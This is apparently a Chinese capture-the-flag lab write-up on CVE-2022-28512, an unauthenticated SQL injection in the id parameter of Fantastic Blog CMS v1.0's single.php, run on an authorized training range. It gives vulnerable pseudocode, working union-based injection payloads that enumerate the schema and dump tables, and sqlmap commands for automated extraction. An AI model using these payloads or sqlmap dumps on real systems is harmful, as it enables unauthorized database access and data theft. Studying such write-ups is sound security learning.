
前言
本文仅作渗透测试 技术学习与复盘使用。所有实验均在正规授权靶场开展,禁止将相关技术用于任何未授权的网络攻击行为。请遵守法律法规,合法合规学习网络安全技术。
靶标介绍
Fantastic Blog (CMS)是一个绝对出色的博客/文章网络内容管理系统。它使您可以轻松地管理您的网站或博客,它为您提供了广泛的功能来定制您的博客以满足您的需求。它具有强大的功能,您无需接触任何代码即可启动并运行您的博客。 该CMS的/single.php路径下,id参数存在一个SQL注入漏洞。
漏洞介绍
CVE-2022-28512 是一处高危未授权 SQL 注入漏洞,漏洞影响 Fantastic Blog CMS v1.0。该系统前端文章查看接口 single.php 对 id 参数未做任何过滤与合规校验,攻击者可直接构造恶意 SQL 语句,实现任意数据库查询、读取敏感数据、拖库,甚至配合业务漏洞实现权限提升与服务器控制。
该漏洞利用门槛极低,无需登录、无需任何权限、外网可直接利用,CVSS 评分高达 9.8 超危级别,是护网、渗透测试中高频出现的重点漏洞。

漏洞成因分析
Fantastic Blog CMS v1.0 的文章详情页面 single.php 在接收用户传入的 id 参数时,未对参数进行 整数强制过滤、特殊字符转义、预编译处理,直接将用户可控参数拼接至后端 SQL 查询语句中,导致存在通用 SQL 注入漏洞。
漏洞伪代码如下:
php
$id = $_GET['id'];
$sql = "SELECT * FROM posts WHERE id = $id";
攻击者可通过单引号闭合原有SQL逻辑,拼接恶意查询语句,随意操作数据库数据。

漏洞复现原理
- 漏洞点位
漏洞存在于前台公开访问接口,任何人都可以访问利用:
http://target/fantasticblog/single.php?id=1 - 注入点验证
通过单引号测试是否存在注入:
http://target/fantasticblog/single.php?id=1'
页面出现 SQL 语法报错,说明参数未过滤,SQL注入漏洞存在。 - 手工注入核心流程
1、判断字段数:通过 order by 判断查询字段数量
2、联合查询:使用 union select 拼接恶意查询语句
3、查询当前数据库、数据表、字段
4、读取用户账号、密码、后台敏感数据 - 工具批量检测(SQLMap)
该漏洞特征明显,可直接使用 SQLMap 一键检测、脱库:
powershell
sqlmap -u "http://target/fantasticblog/single.php?id=1" --dbs

打靶

点击图片跳到打靶的位置:

这里已经出现id了:

先加个':

显然是单引号闭合的SQL语句。
先找显位个数:
bash
id=4' order by 9--+

bash
id=4' order by 10--+

显位个数为9。
通过改变id值为负数找可以回显的点位:
bash
id=-4' union select 1,2,3,4,5,6,7,8,9--+

爆库名:
bash
id=-4' union select 1,2,3,database(),5,6,7,8,9--+

爆表名:
bash
id=-4' union select 1,2,3,group_concat(table_name),5,6,7,8,9 from information_schema.tables where table_schema=database() --+

bash
titles,page_hits,membership_userpermissions,membership_groups,blog_categories,membership_userrecords,membership_users,editors_choice,blogs,links,flag,banner_posts,membership_grouppermissions,visitor_info
有个flag表。
爆列名:
bash
id=-4' union select 1,2,3,group_concat(column_name),5,6,7,8,9 from information_schema.columns where table_schema=database() and table_name="flag" --+

爆数据:
bash
id=-4' union select 1,2,3,group_concat(flag),5,6,7,8,9 from flag --+

当然,手搓是为了更好的理解原理,现在用sqlmap是更方便的。
爆库:
bash
python sqlmap.py -u "https://eci-2ze90osvaz294b7nf7uh.cloudeci1.ichunqiu.com:80/single.php?id=4" --batch -dbs
爆ctf表:
bash
python sqlmap.py -u "https://eci-2ze90osvaz294b7nf7uh.cloudeci1.ichunqiu.com:80/single.php?id=4" --batch -D ctf --tables
爆falg列:
bash
python sqlmap.py -u "https://eci-2ze90osvaz294b7nf7uh.cloudeci1.ichunqiu.com:80/single.php?id=4" --batch -D ctf -T ctf --columns

爆flag字段值:
bash
python sqlmap.py -u "https://eci-2ze90osvaz294b7nf7uh.cloudeci1.ichunqiu.com:80/single.php?id=4" --batch -D ctf -T flag --dump
